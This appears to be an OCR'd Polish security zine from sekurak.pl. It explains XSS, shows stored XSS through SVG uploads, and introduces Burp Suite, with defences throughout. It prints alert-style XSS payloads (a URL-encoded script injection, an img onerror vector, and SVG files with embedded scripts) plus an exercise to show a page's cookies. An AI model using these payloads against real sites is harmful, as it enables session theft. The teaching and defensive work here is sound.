wang metoda jest stosowanie zapytan parametryzowanych (uwaga, od wersji
PHP 5.5.0 funkcja: mysql_real_escape_string() ma status deprecated i prawdopo-
dobnie w przysztych wersjach PHP nie bedzie obstugiwana)).

Wiecej informacji o bezpieczenstwie aplikacji webowych: nowy dokument OWASP
Top Ten 2013 oraz kilka prostych metod na zabezpieczenie swojej webaplikacji.

Michat Sajdak, radaktor i zatozyciel sekurak.pl oraz rozwal.to. Realizuje testy
penetracyjne, prowadzi szkolenia z bezpieczenstwa IT w Securitum.

Michat Sajdak
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Czym jest XSS?

O btedzie Cross-Site-Scripting napisano juz zapewne powiesci.
Podatnosc¢ ta jest tez czestym przedmiotem zartow...

...0soby zajmujace sie niskopoziomowymi problemami zwigzanymi z bezpieczen-
stwem maja juz czasem po prostu dos¢ zalewu informacji o XSS. Jako przyktad moze
tu postuzy¢ post Tavisa Ormandy na liscie fulldisclosure, zdradzajacy szczegoty bte-
du 0-day na wszystkie Windowsy:

I guess I’'m talking to myself, maybe this list is all about XSS now ;)

Niemniej jednak btad ten znajduje sie na wysokiej, trzeciej pozycji najnowszej edycji
dokumentu OWASP Top Ten. Warto w takim razie przyjrze¢ mu sie nieco blizej.

ISTOTA PODATNOSCI XSS

Na czym polega istota podatnosci XSS? Po pierwsze jest to przede wszystkim
atak na klienta korzystajacego z podatnej webaplikacji (w przeciwienstwie np.
do SQL injection, ktérego gtdwnym celem jest czes¢ serwerowa). Po drugie, atak
polega na wstrzyknieciu do przegladarki ofiary fragmentu javascript badz
innego jezyka skryptowego (np. VBScript), ktory moze by¢ uruchomiony
w przegladarce.

W efekcie, atakujgcy ma mozliwos¢ wykonania dowolnego kodu skryptowego
w przegladarce (nie myli¢ z uruchomieniem dowolnego kodu w systemie ope-
racyjnym ofiary). W dalszej czesci tekstu dla uproszczenia bede wspominat tyl-
ko o javascript, Swiadomie pomijajac inne mozliwosci — jak cho¢by wspomniany
vbscript).

POTENCJALNE SKUTKI WYKORZYSTANIA

Czym moze skutkowac wykonanie kodu javascript w przegladarce ofiary? Warto tu
wspomniec takie mozliwosci:
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»

»

»
»

wykradanie cookies (w tym cookies sesyjnych) - tj. de facto przejecie (zalogowa-
nej) sesji ofiary,

dynamiczna podmiany zawartosci strony www (np. stynne ,this site have beed
hacked”),

uruchomienie keyloggera w przegladarce,

hostowanie malware'u z wykorzystaniem zaatakowanej aplikacji (np. poprzez
uzycie tagu iframe).

Istnieje sporo narzedzi, ktére w praktyce pokazujg mozliwe negatywne efekty
wykorzystania XSS.

PODZIAL BLEDOW XSS

Btedy XSS dzielimy na trzy kategorie:

»

»

»

Persistent (inna spotykana nazwa: stored) XSS - najbardziej ztowroga odmia-
na, polegajaca na umieszczeniu kodu javascript po stronie serwerowej (stad na-
zwa - stored). Przyktadowo, atakujgcy umieszcza javascript w komentarzu pod
postem na blogu, np. komentujac ten post ;), a komentarz automatycznie jest
wysytany do moderacji. W momencie kiedy moderator odczytuje komentarz,
uruchamiany jest automatycznie javascript, ktory moze wykradac cookie sesyj-
ne administratora. W tym momencie atakujagcy ma dostep do zalogowanej se-
sji administracyjnej bez znajomosci uzytkownika oraz hasta! Taka historia miata
miejsce jaki$ czas temu w systemie WordPress, gdzie udato mi sie zlokalizowac
dokfadnie taka luke. :-)

Reflected XSS - w tym przypadku kod javascript zaszyty jest w linku, ktéry
atakujacy przesyta do ofiary. Ofiara po kliknieciu na linka taczy sie z aplika-
cja, przekazujac jej nieswiadomie fragment HTML zawierajacy kod wyko-
nujacy javascript. Aplikacja zwraca ofierze (stad nazwa: reflected) wynik
(tj. HTML) zawierajacy wczesniej podany javascript, powodujac wykonanie
kodu w przegladarce.

DOM Based XSS - rzadziej spotykana posta¢ btedu XSS - opisana tutaj.

PRAKTYCZNY PRZYKEAD

Zobaczmy catos¢ na prostym przyktadzie (reflected XSS):

‘ Hej, mam tu super kodzik rabatowy, mozna kupi¢ 256 lajkéw na FB za 0.031415 zi!

http://training.securitum.com/3/
?search=coolstuff%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28
%2f%58%53%53%2f%29%3c%2f%73%63%72%69%70%74%3e

6 http://training.securitum.com/3/?search=coolstuff %22 %3 e%3c %73 %63 %72 %69 %70 %74 %:

.Zielonej” ofierze podsytany jest tutaj link przekazujacy do aplikacji. Parametr search
zawiera wstrzykniecie javascriptu tagiem <script>. Zobaczmy co dzieje sie dalej:

Catos¢ mozna przesledzi¢ na realnej aplikacji, dostepnej tutaj (czy nie ostrzegatem
przed klikaniem ,w ciemno”? ;-)

Byt to prosty przyktad uruchomienia javascriptu poprzez tag <script>. W jaki
sposéb wykonac javascript jedynie poprzez odpowiednie manipulacje parametra-
mi do tagu? Na przykfad tak:
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I 1. <img src=tralalala onerror=alert(/xss/)>

Metod manipulacji parametrami jest naprawde wiele.

METODY OCHRONY PRZED XSS

W jaki sposdb chronic sie przed XSS? Przede wszystkim w odpowiedni sposob-
filtrowac dane przesyftane przez uzytkownika - przed ich wyswietleniem w aplika-
¢ji. Najczesciej przybiera to forme zamiany pewnych istotnych znakéw kontrolnych
HTML (gtéwnie mam tu na mysli znaki otwierajgce / zamykajace tagi oraz atrybuty
tagu) na encje HTML:

1. & --> &amp;
2. < --> &1t;
3. > --> &gt;
4. " --> &quot;
5. 'o--> &i#x27;
6. / --> &#x2F;

Taka filtracja najprawdopodobniej zlikwiduje wiekszos¢ podatnosci XSS w naszej
aplikacji. Warto wspomnie¢, ze wskazana powyzej metoda ochrony w pewnych
przypadkach nie dziata — odsytam tutaj do wczesniej wspomnianego XSS Preven-
tion Cheat Sheet i bardziej ztozonych przypadkéw opisanych w tym dokumen-
cie. W kazdym razie, realizacja odpowiedniego filtrowania w ztozonej aplikacji nie
jest wcale taka prosta jakby sie mogto wydawac (stad tez duza liczba aplikacji jest
podatna).

Jeszcze inng i zazwyczaj niewiele kosztujacg metoda ochrony przed jednym
z efektéw XSS - tj. wykradaniem cookies — jest zastosowanie parametru HttpOnly
dla ciastek sesyjnych.

Konkretne technologie posiadajg réwniez wtasne mechanizmy ochronne - jak
chocby request validation w .net.

Pewna ochrona moze by¢ rownolegle realizowana po stronie klienckiej — jako
przyktad moze stuzy¢ dodatek NoScript do Firefoxa, czy wrecz wbudowane w prze-
gladarki mechanizmy ochrony przed XSS.

CZAS NA CWICZENIE:

1. Szczegbty statkdw tutaj majg mozliwos¢ wyswietlenia obrazu silnika.

2. Bazujac na tej funkcjonalnosci, przygotuj linka realizujgcego reflected XSS (np. wyswie-
tlenie popupu javascriptowego z tekstem: XSS).

3. Wystarczy, ze javascript uruchomi sie dla przegladarki Firefox (idealnie — réwniez
dla innych przegladarek).

4. Jesli chcesz sprawdzi¢, czy przygotowany przez Ciebie XSS jest poprawny w kon-
tekscie tego zadania — wyswietl w popupie ciasteczka (document.cookie).

Michat Sajdak, radaktor i zatozyciel sekurak.pl oraz rozwal.to. Realizuje testy
penetracyjne, prowadzi szkolenia z bezpieczenstwa IT w Securitum.
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Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Dodawanie plikow przez uzytkownikéw web aplikacji wigze
sie z wieloma zagrozeniami. Pentesterzy w tym obszarze cze-
sto szukajg luk prowadzacych do zdalnego wykonania kodu
po stronie serwera. A co, gdyby dodanie nowego pliku skut-
kowalo wykonaniem zlosliwego skryptu JS? Taka mozliwos¢
daja pliki SVG opisujace grafike wektorowa we wspoiczesnych
przegladarkach.

GRAFIKA CZY DOKUMENT?

Intuicyjnie Scalable Vector Graphic jest grafika wektorowa, ktora definiuje obraz
ksztattami, a nie przez opis kolorow poszczegdlnych grup pikseli. Dzieki temu ob-
razki SVG sg nieskonczenie skalowalne: zaréwno miniatura, jak i obraz przedstawio-
ny na wielkim ekranie bedzie wygladat tak samo dobrze - bez straty jakosci kojarza-
cej sie z grafika rastrowq reprezentowana w internecie przez formaty takie jak gif,
png czy jpg.

Pliki SVG natywnie wspierane sg jest we wszystkich przegladarkach od wielu lat,
wliczajac w to Internet Explorer 9+ oraz przegladarki mobilne. W zwigzku z tym po-
pularnos¢ SVG ciagle ro$nie i format ten obecnie staje sie standardem dla réznej
masci ikon i bootstrapéw interfejsow wspotczesnych stron internetowych.

Wréémy jednak do kontekstu bezpieczenstwa. Okreslenie SVG jako grafiki jest
duzym skrétem myslowym. W praktyce SVG nie jest formatem graficznym, a do-
kumentem XML opisujacym elementy sktadajace sie na grafike oraz jej dodatkowe
interakcje z otoczeniem. Tak jest — pliki SVG moga by¢ interaktywnym dokumentem
— takim jak HTML - i zmieniac¢ sie w zaleznosci od zaprogramowanych wcze$niej akcji.

Tak jak w HTML mamy drzewo DOM, tak i SVG ma swoje drzewo obiektéw (SVG
DOM), ktore jest dostepne z poziomu skryptow JS. W zwigzku z tym, ze HTML, Java-
script oraz SVG dziataja w tym samym ekosystemie - czyli w przegladarce - oznacza
to, ze bez problemu mozna stworzy¢ pliki SVG wykonujace ztosliwe akcje w dome-
nie testowanej aplikacji internetowe;.

SVG = XSS

Zatézmy, ze pewien serwis posiada funkcje uploadu plikéw. Dla zwiekszenia bezpie-
czenstwa twoérca serwisu decyduje sie wytgcznie na mozliwos¢ tadowania plikéw
graficznych, w tym plikéw SVG.

Co sie stanie, gdy agresor zataduje ponizszy plik SVG do serwisu?

1. <svg xmlns="http://www.w3.0rg/1999/svg">
2. <script>

3. alert(1)

4. </script>

5. </svg>

Przegladaj- I.'ecto rimagePOC.svg I Dodaj nowy obrazek

Remove my photos

logout

Galeria

Author: vizzdoom

1. Upload ztosliwego pliku SVG do serwisu.

¥y R

SEKURAK.PL / [ITENINE

Czym jest podatnosé CSRF
(Cross-Site Request Forgery)?

Problemy z XXE
(XML eXternal Entity)

Czym jest
Content Security Policy?

HSTS czyli
HTTP Strict Transport Security

Czym jest SQL injection?
Czym jest XSS?

Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Wprowadzenie do narzedzia
Burp Suite

PHP Object Injection
- mato znana klasa podatnosci

PHP Object Injection
i ZendFrameworkZ2

OWASP AppSensor
- obron swojqg aplikacje

Btedy bezpieczenristwa
we frameworku Nuxeo

g

‘\

n Podziel sie zinem


http://www.w3.org/1999/svg
$$$/Dialog/Behaviors/GoToView/DefaultURL

Adrian “Vizzdoom" Michalczyk Pozwalasz tadowac pliki SVG? Masz X55-a!

Plik zostanie zapisany i dostep do niego w omawianym przypadku bedzie mozli-
wy przez odwotanie sie do tej samej domeny (na przyktad przez katalog images lub
skrypt wyswietlajacy obrazek o podanym identyfikatorze). Do przegladarki obrazek
trafi w postaci parametru src elementu <img>. Wynikiem bedzie wyswietlenie wy-
tacznie atrybutu alt pustego obrazka:

{Author: vizzdoom
Aunthor: vizzdoom

:'ﬁ.“u __.

L3 Inspektor » Konsola (i) Debugger E'haturme ' @ Wydajineéé | T Siet : = 2 U = 3 |

trnl body div m ubefore 3, | Wiliczone Creionki Mode
b <form action="galery.php™ method="post®></form> A alement |

£brae/brs }

Lhr>L fhr> L

Odziedziczony po div
b <h2 fd="galery~»</h2> Lot T

= <img alt="Author: vizzdoom" src="showimage.php?id=2"» ELEmer]
i P v text-align: center;
<fimg> 1

Chr></ory

b Lstrong></fsTrongs
<B4 b
<brx<fbr>

2. Ztosliwy plik SVG w DOM strony internetowej.

Gdy jednak odwotamy sie do petnej sciezki powyzszego pliku graficznego, zauwa-
zymy, ze udato sie nam zapisac plik wykonujacy atak Persistent XSS:

25

wEeE &

é d. vichm.com/htmlZsec www/upload showimage.php id= x Q, '\_—__.--_J-

Przesytanie danych z victim.com...
R | O Inspektor > Konsola @ Debugger [# Edytorstyiow | (5 Wydajnosé m B & o9 x
of Metoda Plik 3} Magiowla Crasteczka Paramekry Odpowned: Pomiary czasu Pody

showimage,phplid=2 URL tgdania: http:/fvictin. con/htmlSsec wan/fupload/showimage . php?id=2
Metoda Zadania: GET
Kod stanu: @ 208 0K Edytu) | wyilly ponownie  Nicprzetworzene nag
Filtruy nag idwk
* Naghtwki edpowiedsi (0,268 KB)
Connection: "Eeep-Alive”
Content-Length: “79°
JContent: Type: “text/html; charset=UTF-8" )|
Date: “Sum, 31 May 2015 21:22:75 GMT"
Keep-Alive: "timeout=3, max=100"
Server: "Apache/2.4.12 (Win32) DpenS5L1.0.11 PHR/5.6.8°
X-Powered -E-'.r. 'PHP/SEE"

LU — L

3. Btqgd Persistent XSS w domenie strony.

Warto teraz zwrdci¢ uwage na nagtéwki HTTP. W powyzszym przyktadzie progra-
mista nie okreslit typu zwracanej odpowiedzi dla skryptu serwujacego obrazki - po
prostu (naiwnie) polegat na logice serwera lub na mechanizmie Content Sniffing
przegladarki. Plik SVG zostat zinterpretowany jako text/html, czyli dokfadnie tak,
jak zwykta strona HTML z zaszytym skryptem inline (kilka przyktadéw tego rodza-
ju wstrzyknie¢ opisano w drugiej czesci cyklu dotyczacego bezpieczenstwa HTML5
- sekcja SVG).

Jednak taka sytuacja nie jest czesto spotykana i nie jest szczegdlnie ciekawa
- w takim przypadku prawdopodobnie mozemy uploadowa¢ dowolny kod HTML
prowadzacy do luki HTML Injection, wiec SVG nie daje potencjalnemu atakujagcemu
nowych mozliwosci. Zdecydowanie czesciej wystepuje sytuacja, kiedy nagtowek
Content-Type odpowiada zawartosci wczesniej zatadowanego pliku.
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W przypadku SVG poprawnym typem MIME jest image/svg+xml. Gdy taki nagto-
wek zostanie zwrdcony, wczesdniejszy atak nie dojdzie do skutku:

v B8 + #

& | & victim.com/htmlSsec/www/upload/showimage.phplid=2 | | Q Sk

Podany plik XML nie zawiera zadnych informacji o stylach z mm zwiazanych. Pomze) wyswaetlone jest drzewa
dokumentu.

- <svg>
<script> alert{1) </script>
<svg>

R 1 Inspektor | > Konsola | (@ Debugger | [¥ Edytorstylow = (D Wydajnose ™= 0B %08 x

Metoda Blik 0 | Maghwki Ciasteczka Parametry Odpowiedi | Pomiary«

| RN HE SR URL adania: http:/fvictim. con/htrlSsec/ waw/uplosd/ showinage . php?id=2
Metoda Zadania: GET
Kod ctanu: @ 288 0K

Edytuy | wysl panownie  Mieprzetworzone nag
Filtruj nagidwki
* Maghiwki odpowiedsi (0,256 KB)
- Connection: “Keep-Alve’
Content-Length: “T4"
ontent-Type: “images svg+xml*”
Date: "Sumn, 31 May 2015 21:25:47 GMT"
Keep-Alive: "timeout=13, max=97"
Serven: "Apache/2.4.12 (Win32) Open55L/1.0.11 PHP/5.6.8°
X-Powered-By: "PHP/5.6.8°
| X-X55-Protections "0”
* Maghiwki zadania (0,584 KB)

EEEY v css 5 MR Cocionki  Obraski Media  Flash  Inne (D Jedno adanic, 0.07KB 0005  w)

4. Interpretacja pliku SVG jako dokumentu XML w przeglgdarce.

Okazuje sie, ze powyzsze zabezpieczenie mozna obejs¢. W tym celu stworzymy popraw-
ny plik — wraz ze wszelkimi nagtéwkami XML - SVG, ktory bedzie zawierat w sobie zarow-
no grafike, jak i skrypt wyswietlajagcy komunikat demonstrujacy wykonanie ataku XSS:

1. <?xml version="1.0" standalone="no"?>

2. <IDOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://
www.w3.orq/Graphics/SVG/1.1/DTD/svgll.dtd">

4. <svg version="1.1" baseProfile="full" xmlns="http://
www.w3.0rg/2000/svg">
5. <polygon id="triangle" points="0,0 0,50 50,0"

fill="#009900" stroke="#004400"/>

6. <script type="text/javascript">

7. alert('This app is probably vulnerable to XSS attacks!');
8. </script>

9. </svg>

Pamietajmy, ze programista poprawnie odsyta nagtéwki Content-Type oraz doda-
je rozszerzenie .svg do nazwy pliku, aby przegladarka nie miata zadnych watpliwo-
$ci o serwowanej tresci. Mimo to, po zatadowaniu pliku przez mechanizmy serwisu
i wczytanie nowego zasobu zobaczymy, ze dalej jeste$Smy w stanie wykonywac zto-
Sliwe skrypty.

Poprawnie obstuzony plik SVG stat sie furtka do ataku Persistent XSS:

‘I. attacker.com/files/vectorimageP OC ﬂ [ Q Saukaj E 1‘- ﬂ E

This app is probably vwinerable fo X3S attacks!

W | O Inspektor | > Konsola | (D Debugger | [¥ Edytorstylow | (D Wydajnosc m =2 N R

o Metoda Pk

Maglowla Ciasteczka | Paramrtr}' Udpuwmdi F‘umlar:,- =

.- vectormagePOC_Ssvg
Metoda adania: GET = - ’
Kod ® 208 0K Edytuj i wiydlij ponownie  Miepretworzone nagl
Q, Filtruy magitwkn
* Magléwki odpowiedzi (0,235 KB)
Accept-Ranges: “bytes”
Connection: "keeg-alive”
Conteni-Length: "421"
Datez "Sun, 31 May 2075 212839 GMT"
Etag: *"556b3301-1a5™
Last-Modified: “Sun, 31 May 20015 161249 GMT"

5. Bfqd Persistent XSS mimo ustawienia poprawnych nagtowkow odpowiedzi HTTP.
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A GDY MUSIMY UMOZLIWIC UPLOAD SVG?

SVG jest dokumentem opisujgcym grafike oraz jej dodatkowe zachowanie, dlate-
go tez za wszelka cene powinnismy zabrania¢ mozliwosci tadowania tego rodzaju
dokumentéw przez uzytkownikéw naszej aplikacji internetowej. Czasami jednak
sytuacja projektowa wymaga dodanie takiej funkcji do serwisu - jak sobie poradzi¢
w takiej sytuacji?

Po pierwsze nalezy sobie odpowiedzie¢ na pytanie, czy uzytkownicy oprécz do-
dawania plikow koniecznie muszg je wyswietlac. Moze wystarczy, gdy dodamy funk-
cje $ciggania SVG, zamiast ich pokazywania? W takiej sytuacji atak XSS nie bedzie
niczym groznym, poniewaz ztosliwy skrypt bedzie odpalany z innego pochodzenia
(z dysku) niz domena, z ktorej sciagnieto plik.

Jesli wdrozenie powyzszej rady nie wchodzi w rachube, mamy przed soba wiek-
sze wyzwanie.

Najpierw nalezy upewni¢ sie, czy ustawiamy dobre nagtéwki bezpieczenstwa.
Podstawowymi nagtéwkami odpowiedzi HTTP z plikami SVG beda:

» Content-Type: image/svg+xml,
» X-Content-Type-Options: nosniff.

Oprécz tego, magazyn plikdw SVG warto przenies¢ do osobnej domeny lub subdo-
meny, ktéra nie bedzie wymagac uwierzytelnienia chociazby przez takie mechani-
zmy jak ciasteczka (do plikéw mozna odwotywac sie np. po identyfikatorze GUID,
warto tez dodac rozszerzenie .svg do nazw plikow). W takiej sytuacji udany atak XSS
bedzie trudniejszy - przyktadowo atakujacy nie bedzie mogt odczytac ciasteczek
sesyjnych z gtdwnej domeny, gdyz - nie zostang one wystane przez przegladarke.

Nastepnie nalezy skonfigurowac¢ bardzo rygorystyczna polityke Content Secu-
rity Policy (CSP) - czy to dla skryptu zwracajgcego tre$¢ grafiki wektorowej, czy tez
dla serwera, ktéry serwuje pliki SVG z katalogu. Ustawienie CSP na wartos¢ taka jak
Content-Security-Policy: script-src 'none' wytgczy mozliwos¢ wykonywa-
nia skryptéw dla danego dokumentu (czyli w ztosliwej grafice SVG).

Pliki SVG mozna rowniez przetwarzac po stronie serwera i konwertowac na bez-
pieczniejsze formaty obrazéw rastrowych (np. png). Mozna réwniez pokusi¢ sie
o usuniecie potencjalnie niebezpiecznych skryptéw - do tego celu mozna wykorzy-
sta¢ np. narzedzie SVG Purifier.

Jak wida¢, pomystow radzenia sobie z formatem SVG jest sporo, jednak zdecydo-
wanie najlepszym wyjsciem jest stosowanie plikow SVG tylko przez programistow
i Scisty zakaz uploadu tego rodzaju dokumentow.

Adrian 'Vizzdoom' Michalczyk. Zajmuje sie tworzeniem bezpiecznej
architektury, szukaniem podatnosci, zarzadzaniem ryzykiem, administracja =~
systemami IT oraz implementowaniem mechanizméw bezpieczenstwa dla R

zespotu pracujgcego w metodykach zwinnych. ."" .
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Wprowadzenie do narzedzia
Burp Suite

PoSrednik HTTP analizujacy ruch miedzy przegladarka a ser-
werami WWW jest podstawowym narzedziem pracy testera
web aplikacji. Burp Suite — popularne akcesorium bezpieczen-
stwa skonstruowane wokot funkcji lokalnego proxy - jest na-
rzedziem, obok ktorego zaden inzynier bezpieczenstwa nie
moze przejs¢ obojetnie.

v Ztekstu dowiesz sie:

w jaki sposéb Burp Suite pozwala zwiekszy¢ skutecznos¢ podczas testowania bezpieczen-
stwa aplikacji internetowych,

jakie narzedzia wchodza w sktad pakietu,

co odréznia wersje darmowgq od komercyjnej,

jakie s3 najczestsze problemy w pracy z pakietem oraz jak je rozwigzywac,

w jaki sposdb rozszerzac funkcjonalno$¢ Burp Suite i integrowac go z innymi programami,
w jaki sposéb wykorzysta¢ automatyzacje oraz harmonogramowanie zadan,

jak z pomoca Burp Suite analizowac bezpieczerstwo aplikacji mobilnych oraz urzadzen
inteligentnych,

o sztuczkach pozwalajacych zwiekszy¢ efektywnos¢ pracy z narzedziami pakietu,

i wiele innych rzeczy :-)

WSTEP

Funkcja lokalnego proxy programu Burp pozwala kontrolowac i analizowac ruch
HTTP/HTTPS przesytany miedzy przegladarka testera a serwerem WWW testowa-
nej aplikacji. Oczywiscie, gdyby jedyna funkcjg oprogramowania firmy Portswigger
byto wylacznie przetwarzanie tresci zadan HTTP, to program nie bytby tak rozpozna-
walny w Srodowisku IT Security. Marka Burp Suite uksztattowata sie dzieki potacze-
niu kilku, dobrze wspotpracujacych ze soba narzedzi. Potaczenie to znacznie utatwia

prace podczas testow penetracyjnych nawet bardzo skomplikowanych aplikacji in-
ternetowych. Prostota, intuicyjnosc i ogdlnie wysoka funkcjonalnos¢ - to klucz do
sukcesu Burp Suite, ktéry po kilku latach rozwoju na state zagoscit w akcesorium
inzynierow bezpieczenstwa web aplikacji.

Pakiet Burp inauguruje pierwszg serie artykutéw z przydomkiem ,Mastering. ..". W tym cyklu postaramy
sie szczegdtowo opisywac kolejne funkcje popularnych narzedzi pentesterskich i uczy¢, jak je wykorzysty-
wac w réznych kontekstach i sytuacjach — od ogétu do szczegotu.

Jesli nie zostanie to jednoznacznie okreslone, nalezy przyja¢, ze rady beda dotyczy¢ darmowej wersji
narzedzia z gatezi 1.6, ktdrej cykl rozpoczat sie w kwietniu 2014 roku.

Warto réwniez zaznaczy¢, ze ze wzgledu na charakter narzedzia, wiekszos¢ rad opi-
sywanych w tym cyklu nie powinna sie mocno dezaktualizowa¢ i nawet po wydaniu
nowej gatezi pakietu, powinna by¢ aktualna. Zmiany i nowe funkcje programu beda
opisywane na biezaco.

CZYM JEST BURP SUITE

Jak juz wspomniatem, Burp Suite jest podstawowym narzedziem testera bezpie-
czenstwa aplikacji internetowych. Program jest udostepniany jako paczka .jar uru-
chamiana w maszynie wirtualnej Javy, wiec bez problemu mozna uzywac go zaréw-
no na systemach z rodziny Microsoft, Linux czy OS X. Dobre zgranie i jako$¢ narzedzi
wchodzacych w sktad pakietu sprawia, ze Burp Suite jest jednym z najchetniej wy-
bieranych programéw tego rodzaju. Jak piszg sami tworcy:

Burp Suite, the leading toolkit for web application security. Burp Suite
helps you secure your web applications by finding the vulnerabilities
they contain — Portswigger Security

Burp jest programem wspomagajqcym prace, wiec samo jego uruchomienie w ma-
giczny sposob nie znajdzie btedéw w aplikacjach internetowych. Nastawienie na uta-
twienie pracy podczas recznej analizy web aplikacji znacznie zwieksza skutecznosc
pracy pentestera i mimo tego, ze Burp od dawna potrafi w sposéb automatyczny
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wykrywaé podatnosci (chociazby przy uzyciu modutu Scanner), to w zaden sposéb
nie zastapi on pentestera. Burp Suite jest dlutem w reku rzemiesInika-pentestera.
Program ten okazuje sie przydatny niezaleznie od stylu badacza bezpieczenstwa web
aplikacji i w zaden sposéb go nie ogranicza. Zalezno$¢ miedzy modutami oraz typowy
przeptyw danych miedzy elementami pakietu prezentuje rysunek ponize;j:

—_———— e, —_——_——_———_———_—— e — o

| | | |
| Burp | | |
I i, T Spider |
| Burp Prowgy Actie, ol | l |
| spidering | | Display |
| & | l l
| I
Passive
l spidering I | I
I m Contant | : :
™ discovery Target
| Praxy hi |
¥ history | SO |
: discavery™ ™ s I l l
| i rf Intruder | : uthentication I
| attack surface I :
[EESPREPIN EREPINPSINSSPICI (TP I S ST ST ST IE I |1 SPS TP T SO R PR T P NS TP SO LI P R O P J I |
————_—_—_ e — q
| 5 Vulnerability Detection | I 4 I
I g and Exploitation | | sk
| sEanming B handling l
| I |
l Confirm some [ |
| vutnerabilities I |
| in browser | | Save |/ resiors |
| I state |
| Bump Burp Bump Burp (1 |
| Sequencer |
o I
| | |
I I [ Task |
| schaduli I
I I g
I
| | |
[ |
| I |
' Vulnarabilities I |
I I |
I I |
I I |
e e e e R

1. Zaleznosci miedzy modutami Burp Suite oraz typowy przeptyw pracy (Zrédto: doku-
mentacja Portswigger).

Odnoszac sie juz do metodologii testéw penetracyjnych, pakiet Burp:
» w fazach zbierania informacji - pomaga analizowa¢ charakter zadan i odpo-
wiedzi HTTP(S) oraz poznawac strukture strony i odkry¢ nieznane punkty wejscia,
» w fazach mapowania podatnosci oraz ich eksploitacji - pomaga tworzy¢
prébki do ataku, fuzzowac parametry aplikacji lub nawet w sposéb automatycz-
ny znajdywac¢ btedy w badanym oprogramowaniu.

Program mozna $ciggna¢ bezposrednio ze strony twércédw, firmy Portswigger. Do-

stepne sq dwie wersje:

» darmowa, Burp Suite Free, ktéra mimo kilku ograniczen, jest w petni dziatajgcym
i funkcjonalnym programem,

» pfatna, Burp Suite Professional, ktéra cechuje sie czestszymi aktualizacjami oraz
brakiem ograniczen w kilku narzedziach.

Do uruchomienia wymagana jest maszyna wirtualna Javy. Wiecej informacji o rézni-
cach miedzy dwiema wersjami zamieszcze ponizej, tymczasem poznajmy narzedzia
wchodzace w sktad pakietu.

NARZEDZIA PAKIETU BURP SUITE

Burp Proxy

Proxy, dziatajgce miedzy przegladarka a aplikacjg internetowa, pozwala na pod-
gladanie struktury wysytanych zadan oraz otrzymywanych odpowiedzi HTTP. Gdy
przegladarka zacznie wysyta¢ ruch HTTP przez Burp Proxy, tester otrzyma mozli-
wos$¢ zatrzymywania zadan, ich reczng lub automatyczng zmiane. Historia zadan
pozwala wysytac¢ ruch HTTP ponownie lub obrabia¢ go w innych modutach pakietu.
Praca z aplikacjg internetowa poprzez Burp Proxy pozwala na wygodng analize sa-
mej strony internetowej w przegladarce testera, oraz komunikatéw wymienianych
z serwerem web aplikacji. W ten sposéb mozemy np. poprzez klikanie po interfejsie
webowym wymusi¢ wystanie pewnych zadan, ktérym zmienimy wartosci parame-
tréw, w celu testowania np. w kierunku podatnosci wstrzykniecia kodu SQL lub XSS.
Burp Proxy jest w zasadzie podstawowym zrédtem danych dla catego pakietu. Dane
w innych modutach z reguty opierajg sie na danych zebranych w czasie przeglada-
nia badanej strony w przegladarce korzystajacej z Burp Proxy. Co ciekawe, funkcje
proxy nie ograniczajg sie tylko do modyfikacji ruchu HTTP/HTTPS wychodzacego
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z przegladarki internetowej. Opisywany modut sprawdza sie rowniez w analizie
dowolnego ruchu HTTP, w szczegdlnosci podczas analizy webserwiséw, z ktorych
korzystaja aplikacje urzadzen mobilnych oraz inteligentnych. Oprécz funkgji prze-
chwytywania ruchu HTTP, modut proxy udostepnia tez kilka innych, ciekawych
opcji, ktére szczegdtowo przyblize w kolejnej czesci tego cyklu. Mowa tutaj miedzy
innymi o dynamicznej zmianie nagtéwkow, interfejsie webowym do przegladania
oraz powtdrnego wysytania zadan, wytgczaniu walidacji na testowanych stronach
(HTML-owej oraz Javascriptowej) i kilku innych.

E Burp Suite Free Edition v1.6 = &
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDecher T Comparer TEx‘Iender T Options | Alerts
Intercept | HTTP history TWehSDckets history I Options }

| Fitter: Hiding CSS, image and general binary content | ?
# 4|Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extension | Title

1 http:/isekurak. pl GET i ] ] 200 53486 HTHL s
2 hitpeiisekurak pl GET i o g 2w 53486 HTML

3 http://0.gravatar.com GET lavatar/e45d1ad0d636e7269a9c2a42¢. . ) =] 304 420

4 http:40.gravatar.com GET lavatar/ed5d1ad0d636e7269a9c2ad2c. . & o 304 418

] http:/fochrena jawne.info.pl GET ! =] o 20 85664  HTML WAMGrAZwka | Droga

18 http:#fochrona.jawne.info.pl GET lcdn-cginexpidokv=abba2{56bd/cloudfl. ] o 200 85207 script s

20 hitp:dw ww scribd.com GET lembeds/209853335/content?start_pag... 4] =] 200 36830 HTML Scribd

21 http:ifochrena.jawne.info.pl GET Icdn-cgi/pe/bag2?r]l=http%3A%2F%2F ... [e] a 200 148511 script

22 http:ifs7 .scribdassets.com GET laggregatedfavascripttouch.js7140442. 4] 2] 200 10737 script B

23 http:ifeS.scribdassets.com GET laggregatedfjavascript/ads.js 71404422 [e] a 200 13660 script s

25 http://s6.scribdassets.com GET laggregatedfjavascriptembeds. js?1404. & =] 200 260867  script B

a7 hitp:iive wew scribd.com POST Issilgenip_cc 4] = 200 324 text

htnlhursis annalstanmananer  RET It i PiA—CTH AHEA @ . _oan 21820 st ¥

EAS — T

e

Raw | Headers | Hex [ HTML | Render
<!DOCTYPE htmi> &
<html>
<head>

<meta charset="UTF-8">

<weta http-egquiv="¥-UA-Compatikle” content="I1E=edge,chrome=1">

<titlex</title>

<link rel="icon" href="http://sekurak.pl/wp-content/themes/Sekurag/img/favicon.ico">

<link rel="shortcut icon" href="http://sekurak.pl/wp-content/themes/Sekuraq/ img/favicon. ico">

<link id="theme stylesheet” rel="stylesheet"
href="http://sekurak.pl/wp-content/themes/Sekurag/style.css?1391461491">
lte IE §]>
"stylesheet" media="screen" href=" http://sekurak.pl/wp-content/themes/Sekurag/css/ie NOT.css">

<![endif]-->

<link rel="pingback" href="http://sekurak.pl/xmlrpc.php” />

<link rel='stylesheet' id='open-sans-css'
href='//fonts.googleapis.com/ces?family=0pen+3anss3A300icalic%2C400italicsiCE00italics2C300%2C400%2CE00&H038; subset=1a
cins2Clatin-ext&#036;:ver=3.9,.1' type='text/css' media='all' />

